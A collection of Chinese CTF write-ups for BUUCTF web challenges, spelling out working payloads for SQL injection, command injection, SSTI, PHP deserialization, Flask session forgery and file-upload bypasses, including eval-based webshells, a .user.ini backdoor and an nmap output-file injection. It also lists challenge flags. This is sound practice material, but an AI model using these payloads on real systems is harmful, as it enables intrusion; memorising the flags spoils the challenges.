[HCTF 2018]WarmUp
#文件包含
打开后看网页源码,发现提示source.php
,访问source.php
看到php源码:
1 |
|
我们访问hint.php
得到提示flag not here, and flag in ffffllllaaaagggg
。
分析php源码,发现主要是需要绕过前面的4个if语句。
if (! isset($page) || !is_string($page)) page必须是一个字符串
if (in_array($page, $whitelist)) page要在whitelist中
$_page = mb_substr(…);if (in_array($_page, $whitelist)) 取?前的内容是否在whitelist中
urldecode($page) (重复3) url解码后再判断一次
这道题,用3和4都可以拿到flag,payload如下:
- source.php?file=source.php?/../../../../../ffffllllaaaagggg
- source.php?file=source.php%253f/../../../../../ffffllllaaaagggg
4就是对?再进行一次url编码。
这里有一个坑,就是我在本地研究时发现,由于Windows的目录规则,不能有?,所以只能用4。此外,很多Writeup里在目录跨越这里都是写php?../../flag
这种格式,应该写php?/../../flag
这样才能把前面的php文件当成一个目录。虽然CTF平台都可以,但本地复现必须这么写。
这个题的原型是phpmyadmin的一个漏洞:CVE-2018-12613
[强网杯 2019]随便注
#SQL注入
sqlmap是没有灵魂的
手动注入,注入点在inject。
尝试使用union select提示过滤
1 |
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
可以使用堆叠注入。
1 |
0'; show databases;--+ 显示数据库 |
在查询1919810931114514表时需要使用反引号`,看到表中有一列是flag。
此时有好多获取flag的方法,多数人使用修改字段名的方法:
1 |
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;# |
1 |
1’; ALTER TABLE words CHANGE flag data VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;# |
当然,也可以使用预处理语句:
1 |
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;# |
1 |
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;# |
1 |
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;# |
参考:
[SUCTF 2019]EasySQL
#SQL注入
又是一个堆叠注入。
1 |
query=1;show databases; |
1 |
query=1;show tables; |
尝试直接读取flag报错
1 |
query=1;select * from Flag; |
测试发现过滤了from和flag
这里卡住了,去找了一下writeup
题目原理应该是:
1 |
select $_GET['query'] || flag from flag |
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能补充系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
1
2
3
4 > select sql_mode;
> select @@global.sql_mode;
> select @@session.sql_mode;
>
payload: 1;set sql_mode=PIPES_AS_CONCAT;select 1
最终执行的语句是:
1 |
select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag |
由于设置了pipes_as_concat
,所以此处的||
为连接符。
也有一个意外解:*,1
,字符串或时前面的数字时结果为1则返回1,为0则返回0,效果跟直接*
一样。
参考:
https://www.cnblogs.com/chrysanthemum/p/11729891.html
[ACTF2020 新生赛]Include
#文件包含
很简单的文件包含。
点击tips跳转?file=flag.php
1 |
Can you find out the flag? |
使用php://filter伪协议:
1 |
?file=php://filter/convert.base64-encode/resource=flag.php |
得到
1 |
<meta charset="utf8"> |
Base64解码可得flag。
[极客大挑战 2019]Havefun
#Null
很简单一道题,查看源码可以看到一段注释:
1 |
<!-- |
直接传参/?cat=dog
得到flag。
[极客大挑战 2019]EasySQL
#SQL注入
界面上就是一个登录框,输入单引号报错
1 |
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin''' at line 1 |
请求:username=admin&password=' or '1'='1
得到flag。
[极客大挑战 2019]Secret File
#文件包含
很简单的一道题。
看网页源码逐个打开网站,在打开action.php
时会快速跳转到end.php
。
使用curl直接读取action.php
:
1 |
|
访问secr3t.php
得到
1 |
<html> |
又是一个php://filter伪协议:
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
得到:
1 |
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MzI2MDBiMDUtMTNhNC00ZjExLTllMmMtODNlY2U5MWJlYWZjfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo= |
Base64解码得到flag。
[极客大挑战 2019]LoveSQL
#SQL注入
这道题基于[极客大挑战 2019]EasySQL。
请求username=admin&password=' or '1'='1
得到:
1 |
Hello admin! |
并没有什么用,这个密码也解不出来。
使用union select
?username=admin&password=' union select 1,database(),'
爆出数据库名:geek
继续注入:
1 |
获取所有数据库:?username=admin&password=' union select 1,database(),group_concat(schema_name) from information_schema.schemata%23 |
看到返回的表里有一个l0ve1ysq1
,读这个表
1 |
?username=admin&password=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23 |
返回:id,username,password
继续读:
1 |
?username=admin&password=' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23 |
得到flag:
1 |
Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{4f2cd7e7-4818-48a8-9d07-fe116710e640}' |
[GXYCTF2019]Ping Ping Ping
#命令执行
命令执行。
列目录?ip=1||ls
1 |
PING 1 (0.0.0.1): 56 data bytes |
但是尝试?ip=1||cat<>flag.php
提示
1 |
fxck your symbol! |
使用$IFS$1
绕过,但是flag也被过滤,读取index.php:?ip=1|cat$IFS$1index.php
1 |
<pre>/?ip= |
这道题有3种解法:
-
变量覆盖
可以看到php中有一个变量a,可以利用这个变量绕过过滤。
1
?ip=1;a=g;cat$IFS$1fla$a.php
-
使用
sh
1
1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
-
内联执行
将ls(反引号内命令)输出的结果做为cat的输入来执行
1
?ip=1;cat$IFS$1`ls`
[ACTF2020 新生赛]Exec
#命令执行
这道题也是命令执行,不过比上一道题简单,没有过滤,只是换成了post。
post payload:target=1;cat ../../../flag
[护网杯 2018]easy_tornado
#SSTI
(这道题好像哪里做过)
可以看到请求的格式为:
1 |
file?filename=/welcome.txt&filehash=e544a56281108d42ed1141d3b52a515a |
在hints.txt里提示:
1 |
md5(cookie_secret+md5(filename)) |
而flag.txt里提示为:
1 |
flag in /fllllllllllllag |
随便输点什么会跳转到一个错误页面
error?msg=Error
welcome里提示了render
,这是一个渲染函数。
tornado是Python的一个Web框架。
因为要获取cookie_secret
的值,还是Python框架,错误页也很可疑,怀疑是SSTI。
测试:error?msg=49
返回ORZ
,有过滤。
请求:error?msg=
返回:<module 'datetime' from '/usr/local/lib/python2.7/lib-dynload/datetime.so'>
在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
1 |
RequestHandler.settings |
handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
1 |
/error?msg={{handler.settings}} |
计算filehash
1 |
echo md5('b5ea8f3c-828e-4ba8-be28-9828a5123d11'.md5('/fllllllllllllag')); |
请求file?filename=/fllllllllllllag&filehash=d015d044a14b948286d7b3bd08eff68c
得到flag。
参考
https://blog.csdn.net/weixin_44677409/article/details/94410580
[极客大挑战 2019]Knife
#Null
打开就提示菜刀,并给了密码
1 |
eval($_POST["Syc"]); |
直接用菜刀连接,密码是Syc。
在根目录找到flag。
[RoarCTF 2019]Easy Calc
#PHP特性 #WAF绕过
在源码中发现:
1 |
<!--I've set up WAF to ensure security.--> |
直接访问calc.php可以看到源码:
1 |
|
WAF可以用php的字符串解析特性绕过,在num前加个空格即可。
请求calc.php?%20num=a;phpinfo();
可以看到phpinfo里禁用了很多函数。
请求calc.php? num=a;var_dump(scandir(chr(47)))
读取\
目录发现f1agg
。
请求calc.php? num=a;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
得到flag。
[极客大挑战 2019]Http
#Http协议
在源码中发现
1 |
<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a> |
访问Secret.php
提示
1 |
It doesn't come from 'https://www.Sycsecret.com' |
在header里添加Referer为https://www.Sycsecret.com
后提示
1 |
Please use "Syclover" browser |
继续在header里添加User-Agent为Syclover
后提示
1 |
No!!! you can only read this locally!!! |
最后在header里添加X-Forwarded-For为127.0.0.1
得到flag。
[极客大挑战 2019]PHP
#备份泄露 #反序列化
直接访问提示有备份网站的习惯。
在备份文件中,index和class两个php比较重要。
index:
1 |
|
class:
1 |
|
可以看到这是典型的php反序列化。
需要注意,__wakeup
函数会对username重新赋值,需要绕过。当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过
__wakeup
函数的执行。
我们生成的payload为
1 |
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;} |
把Name后面的2替换为3或者更大的数字就可以绕过__wakeup
。
需要注意的是,生成的payload的里有空白符会在复制时丢失,可以手动用%00替换或者直接url编码后请求:
1 |
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D |
[极客大挑战 2019]Upload
#文件上传
使用后缀phtml
,Content-Type: image/jpeg
以及GIF89a?
文件头可绕过限制。
上传一句话提示NO! HACKER! your file included '<?'
,不允许使用<?
。
可使用<script language="php">
绕过。payload如下:
1 |
GIF89a?<script language="php">@eval($_POST['pass']);</script> |
上传的文件在upload文件夹下,最后在根目录找到flag。
[极客大挑战 2019]BabySQL
#SQL注入
在[极客大挑战 2019]LoveSQL上增加了过滤,不过可以根据报错发现只是移除了关键字,可以使用双写绕过。
1 |
?username=' uunionnion seselectlect 1,2,3;--+&password=1 |
测试时发现一个坑,尝试读information_schema
里的数据,各种提示说找不到:
1 |
Table 'infmation_schema.tables' doesn't exist |
仔细一看发现原来是or被过滤了……(后面的password之类的也有这一情况)
1 |
?username=' uunionnion seselectlect 1,database(), group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database();--+&password=1 |
发现两个表b4bsql,geekuser
,读取b4bsql
1 |
?username=' uunionnion seselectlect 1,database(), group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql';--+&password=1 |
返回id,username,password
,读取全部数据:
1 |
?username=' uunionnion seselectlect 1,database(), group_concat(id,username,passwoorrd) frfromom b4bsql;--+&password=1 |
得到flag。
[ACTF2020 新生赛]Upload
#文件上传
上传限制必须是jpg、png、gif后缀,可以在Burpsuite中使用00截断,而且过滤了php等后缀,使用phtml绕过。payload如下:
1 |
1.phtml%00jpg |
把马传上去,在根目录找到flag。
[ACTF2020 新生赛]BackupFile
#备份泄露 #PHP特性
提示Try to find out source file!
尝试www.zip,index.swp都没什么结果,最后发现是index.php.bak,通过备份获得源码。
1 |
|
先判断key是不是数字,然后取整后判断是否与str相等。
主要是第二个if。在php中int和string是无法直接比较的,php会将string转换成int然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉。
可以测试一下:
1 |
php -r "$a=123;$b='123abc4';if($a==$b){echo 'in if a:'.$a;echo ' b:'.$b;}echo '@a:'.$a;echo ' b:'.$b;" |
输出为:
1 |
in if a:123 b:123abc4@a:123 b:123abc4 |
所以只需要传入num=123即可得到flag。
[HCTF 2018]admin
#Flask Session 伪造
随便注册一个账号,在change password
页面的源码中看到一段注释:
1 |
<!-- https://github.com/woadsl1234/hctf_flask/ --> |
去Github上找到了题目源码。
在index.html中我们可以看到,当session[‘name’]为admin时是获得flag。
1 |
{% include('header.html') %} |
我是使用flask session伪造做的。
由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。
使用P牛的程序进行解密:
1 |
#!/usr/bin/env python3 |
解密得到:
1 |
{'_fresh': True, '_id': b'f015060f7acf9e9b27cdc54f8a42561d94443178f603ce70f5f81fcb33014f429cf2fd6e6cebc6f810a46de3debd3551c63a4e83258b3b14a26af00787144f3c', 'csrf_token': b'dfce3b942b7389a04e0d15766f0676b1c525fb16', 'image': b'OeJ1', 'name': '123', 'user_id': '10'} |
我们需要把name换成admin。此外,还需要secret_key
,而这个可以在config.py中找到
1 |
import os |
最后使用Flask Session Cookie Decoder/Encoder生成session:
1 |
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'f015060f7acf9e9b27cdc54f8a4 2561d94443178f603ce70f5f81fcb33014f429cf2fd6e6cebc6f810a46de3debd3551c63a4e83258b3b14a26af00787144f3c', 'csrf_token': b'dfce3b942b7389a04e0d15766f0676b1c525fb16', 'image': b'OeJ1', 'name': 'admin', 'user_id': '10'}" |
使用生成的session替换现有的session即可,payload如下:
1 |
.eJxFkEFrwkAQhf9KmbMH3eAl4EFYDWmZWRI2yu5FbIwx24yFRDFG_O8dLLTMbd7je_PmAbtjV_UniC_dtZrArjlA_IC3T4jBh-VAdqkwcZHbEpttMXchjZzKA9mcTbKaYigUbrM56WyK4yoyiVOoKXhb3nzYsNFrdiodcRRW4sTfBh_e2WvfElPrGJUP9YDCIs5bVLnsspFsMbhRxuat0Xgne2pQpcJY3YnXjHoZGV0OpHMh4AKeEyj77ri7fH9V5_8KiZdTqDE2u7tQjka3J9QSk2RSrVTE7kahVC6spVI68ywR9eKFa3hfV38kqzYfmP0q5z2LAPsDN2eYwLWvutffYDaF5w-0wmzk.YBZ9uA.z6AlQHbSfzn_2h_c3Bi8f-ABDLM |
参考
https://www.leavesongs.com/PENETRATION/client-session-security.html
[极客大挑战 2019]BuyFlag
#PHP特性
题目在pay.php
首先它提示
1 |
Only Cuit's students can buy the FLAG |
但是整个页面我们也找不到一个登录之类的功能,在cookie里发现有一个user且值为0,将其修改为1后提示:
1 |
you are Cuiter |
在源码中发现:
1 |
<!-- |
要传password进来,要求password不能为数字却等于404。和BackupFile那道题思路差不多,可以用password=404a绕过。然后提示:
1 |
you are Cuiter |
post:password=404a&money=100000000
提示:
1 |
you are Cuiter |
猜测使用strcmp
函数,可以使用money[]=100000000
绕过得到flag。
[SUCTF 2019]CheckIn
#文件上传
这道题绝了……一直删文件。
这道题需要user.ini。
那么什么是.user.ini?
这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:
PHP_INI_SYSTEM
、PHP_INI_PERDIR
、PHP_INI_ALL
、PHP_INI_USER
。 在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录(
$_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在
.user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。这里就很清楚了,
.user.ini
实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)实际上,除了
PHP_INI_SYSTEM
以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。而且,和
php.ini
不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是
PHP_INI_SYSTEM
模式的(甚至是php.ini only的),包括disable_functions
、extension_dir
、enable_dl
等。 不过,我们可以很容易地借助.user.ini
文件来构造一个“后门”。Php配置项中有两个比较有意思的项(下图第一、四个):
auto_append_file
、auto_prepend_file
,点开看看什么意思:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
1
2 > auto_prepend_file=01.gif
>
01.gif是要包含的文件。
所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
测试一下,我分别在IIS6.0+Fastcgi+PHP5.3和nginx+fpm+php5.3上测试。 目录下有.user.ini,和包含webshell的01.gif,和正常php文件echo.php:
访问echo.php即可看到后门:
Nginx下同样:
那么,我们可以猥琐地想一下,在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。
上传限制需要绕过。构造上传图片马:
1 |
Content-Disposition: form-data; name="fileUpload"; filename="1.gif" |
上传成功:
1 |
Your dir uploads/852aff287f54bca0ed7757a702913e50 <br>Your files : <br>array(4) { |
构造,user.ini上传
1 |
GIF89a |
菜刀连接上传目录下的index.php,在根目录下获得flag。
[BJDCTF2020]Easy MD5
#SQL注入 #PHP特性
在请求返回的header里发现了hint:
1 |
Hint: select * from 'admin' where password=md5($pass,true) |
可以使用ffifdyop
ffifdyop
结果md5后是276f722736c95d99e921722cf9ed621c
,而这串md5值转为字符串就是'or'6(乱码)
可以绕过这个sql语句。
提交后,在新返回的页面源码中发现:
1 |
<script>window.location.replace('./levels91.php')</script> |
会跳转到levels91.php
页面。再次查看源码:
1 |
<!-- |
可以使用a[]=1&b[]=2
绕过。
接下来跳转到levell14.php
,显示:
1 |
|
同样可以使用上一种方法绕过得到flag。
1 |
param1[]=1¶m2[]=2 |
[ZJCTF 2019]NiZhuanSiWei
#文件包含 #PHP反序列化
题目给了源码:
1 |
|
我们可以使用
1 |
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= |
绕过text。
include提示useless.php,那就用file读取useless.php。
1 |
file=php://filter/read=convert.base64-encode/resource=useless.php |
解码得到:
1 |
|
这里需要php反序列化。构造php:
1 |
|
得到:
1 |
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
最终请求:
1 |
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D |
flag在源码注释里。
[CISCN2019 华北赛区 Day2 Web1]Hack World(TODO)
题目提示
1 |
All You Want Is In Table 'flag' and the column is 'flag' |
[极客大挑战 2019]HardSQL(TODO)
[网鼎杯 2018]Fakebook
#SQL注入 #PHP反序列化
随便注册一个账号,点击查看,看到请求是view.php?no=1
测试存在sql注入
虽然有过滤,不过可以绕过。
读取数据库:
1 |
?no=0 union/**/select 1,database(),3,4;--+ |
读表:
1 |
?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();--+ |
读列:
1 |
?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users';--+ |
读到的列有:
1 |
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS |
在data里可以看到:
1 |
O:8:"UserInfo":3:{s:4:"name";s:100:"admin ";s:3:"age";i:1;s:4:"blog";s:13:"www.baidu.com";} |
在robots.txt发现泄露了备份文件
1 |
User-agent: * |
下载下来查看:
1 |
|
之前sql注入时,目录也爆出来了:
1 |
/var/www/html/ |
构造payload:
1 |
|
请求:
1 |
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":1:{s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users;--+ |
得到flag。
[GXYCTF2019]BabySQli(TODO)
[网鼎杯 2020 青龙组]AreUSerialz
#PHP特性 #反序列化
题目给出了源码:
1 |
|
我的思路就是绕过is_valid后,op=2调用read函数读取flag。
is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。
destruct中op===”2”是强比较,而process()使用的是弱比较op==”2”,可使用op=2绕过。
构造payload:
1 |
|
请求
1 |
?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";} |
在源码注释中找到flag。
[BJDCTF 2nd]fake google
#SSTI
随便输入什么东西,回车,在返回的页面源码中看到:
1 |
<!--ssssssti & a little trick --> |
提示SSTI。
请求qaq?name=49
返回49成功执行。
读取根目录:
1 |
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }} |
看到flag,读取flag:
1 |
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }} |
[MRCTF2020]你传你🐎呢
#文件上传
Burpsuite抓包后,修改Content-Type
和文件后缀上传图片马。
再上传.htaccess
让刚刚上传的图片可以被做为php来解析:
1 |
<Files pass.jpg> |
用菜刀连接刚刚的图片马,在根目录下找到flag。
[GYCTF2020]Blacklist
#SQL注入
尝试union select注入时,返回黑名单:
1 |
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject); |
看到这道题就有印象,和[强网杯 2019]随便注差不多,但是过滤的东西变多了。
先使用堆叠注入。读数据库:
1 |
0'; show databases;--+ |
读表:
1 |
0'; show tables;--+ |
读列:
1 |
0'; show columns from FlagHere;--+ |
看到flag列,要读数据首先还是要绕过黑名单。
查了一下,又学到一个新知识:HANDLER
1 |
HANDLER tbl_name OPEN [ [AS] alias] |
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
payload:
1 |
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;--+ |
[强网杯 2019]高明的黑客(TODO)
提示网站备份到www.tar.gz
,可以直接下载下来。
文件夹里有3000+php文件,而且命名看起来也是随机字符串,随便点开一个看也是混淆严重。
本来想偷懒,用杀毒软件和D盾之类的扫,发现并不能行。
要写代码,但是今天不想写,也没时间,以后再说吧。虽然可以用其他人的,但没什么意义。
[MRCTF2020]Ez_bypass
#PHP特性
题目提示:
1 |
I put something in F12 for you |
挺简单的绕过。
1 |
md5($id) === md5($gg) && $id !== $gg |
由于php的md5函数无法处理数组,可以使用id[]=1&gg[]=2
绕过。
对第二个检查:
1 |
if (!is_numeric($passwd)) { |
也是一个比较缺陷,当$passwd=1234567a
即可绕过。此时判断passwd不是数字,但在等于判断时,会自动进行类型转换,数字后的会被抛弃以绕过。
最后的payload:
1 |
?id[]=1&gg[]=2 |
[BUUCTF 2018]Online Tool
#PHP函数漏洞
1 |
|
escapeshellarg和escapeshellcmd两个函数连在一起可能会有问题。
- 传入的参数是:
172.17.0.2' -v -d a=1
- 经过
escapeshellarg
处理后变成了'172.17.0.2'\'' -v -d a=1'
,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。- 经过
escapeshellcmd
处理后变成'172.17.0.2'\\'' -v -d a=1\'
,这是因为escapeshellcmd
对\
以及最后那个不配对的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php- 最后执行的命令是
curl '172.17.0.2'\\'' -v -d a=1\'
,由于中间的\\
被解释为\
而不再是转义字符,所以后面的'
没有被转义,与再后面的'
配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'
,即向172.17.0.2\
发起请求,POST 数据为a=1'
。
此外,nmap参数-oG
可以将输出写到文件里。
最后的payload为:
1 |
?host=' <?php @eval($_POST["pass"]);?> -oG pass.php ' |
用菜刀连接生成的一句话,在根目录找到flag。
参考:
[RoarCTF 2019]Easy Java
#JAVA敏感文件泄露
页面上有一个help,点击返回:
1 |
java.io.FileNotFoundException:{help.docx} |
使用POST可以成功下载。
1 |
/Download |
尝试下载WEB-INF/web.xml
成功。
1 |
|
在最后一个servlet中我们可以看到flag相关的类。
下载FlagController类:
1 |
filename=WEB-INF/classes/com/wm/ctf/FlagController.class |
使用jd对class进行反编译:
1 |
import java.io.IOException; |
Base64解码得到flag。
[GKCTF2020]cve版签到
#CVE利用
Hint提示:cve-2020-7066
查看CVE的详细信息:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7066
In PHP versions 7.2.x below 7.2.29, 7.3.x below 7.3.16 and 7.4.x below 7.4.4, while using get_headers() with user-supplied URL, if the URL contains zero (\0) character, the URL will be silently truncated at it. This may cause some software to make incorrect assumptions about the target of the get_headers() and possibly send some information to a wrong server.
https://bugs.php.net/bug.php?id=79329
get_headers() silently truncates anything after a null byte in the URL it uses.
This was tested on PHP 7.3, but the function has always had this bug.
The test script shows that this can cause well-written scripts to get headers for an unexpected domain. Those headers could leak sensitive information or unexpectedly contain attacker-controlled data.
Test script:
-————–
1
2
3
4
5
6
7
8
9
10
11 >
> // user input
> $_GET['url'] = "http://localhost\0.example.com";
>
> $host = parse_url($_GET['url'], PHP_URL_HOST);
> if (substr($host, -12) !== '.example.com') {
> die();
> }
> $headers = get_headers($_GET['url']);
> var_dump($headers);
>
Expected result:
-—————
Warning: get_headers() expects parameter 1 to be a valid path, string given in php shell code on line 1
NULLActual result:
-————-
headers from http://localhost
使用%00截断请求:
1 |
?url=http://127.0.0.1%00www.ctfhub.com |
1 |
Array |
可以看到:Tips: Host must be end with '123'
,把127.0.0.1
换为127.0.0.123
即可得到flag。
[GXYCTF2019]禁止套娃
#Git泄露 #WAF绕过
存在git泄露。
使用githack获得源码:python GitHack.py http://a898f8c0-4836-4e5e-856c-61818b97d35e.node3.buuoj.cn/.git/
1 |
|
这个题有两种解法:
session_id
本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session
id。
因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php
请求:
1 |
cookie: PHPSESSID=flag.php |
scandir
常用函数被禁了,尝试使用scandir
列目录。由于过滤,常用的列目录参数不可以使用,尝试使用localeconv()
。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
localeconv() 函数会返回以下数组元素:
- [decimal_point] - 小数点字符
- ……
其他见:
取出数组里的值就需要current()
,或者pos()
(current()
的别名)。
参考:
列目录:
1 |
?exp=print_r(scandir(current(localeconv()))); |
看到flag.php
。
接下来需要next()
和array_reverse()
:
参考:
大致思路是将数组倒置后next指向下一个元素就拿到了flag.php。
最后的payload:
1 |
?exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
[GXYCTF2019]BabyUpload
#文件上传
尝试上传一句话提示:后缀名不能有ph!
修改Content-Type提示:诶,别蒙我啊,这标志明显还是php啊
使用png和script绕过上传成功
1 |
Content-Disposition: form-data; name="uploaded"; filename="1.png" |
接下来上传.htaccess
成功。
1 |
SetHandler application/x-httpd-php |
用菜刀连接,在根目录下找到flag
[BJDCTF 2nd]old-hack
#漏洞利用
页面提示Thinkphp5。
请求?s=1
返回异常页面,可以看到Thinkphp的版本是5.0.23。可以找到一个RCE的漏洞。直接读取flag。
payload:
1 |
/?s=1 |
[安洵杯 2019]easy_web(TODO)
看url:
1 |
/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= |
img参数Base64解码两次再hex转字符串为555.png
。
反之,把index.php反向加密回去为:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
。得到index.php的源码:
1 |
|
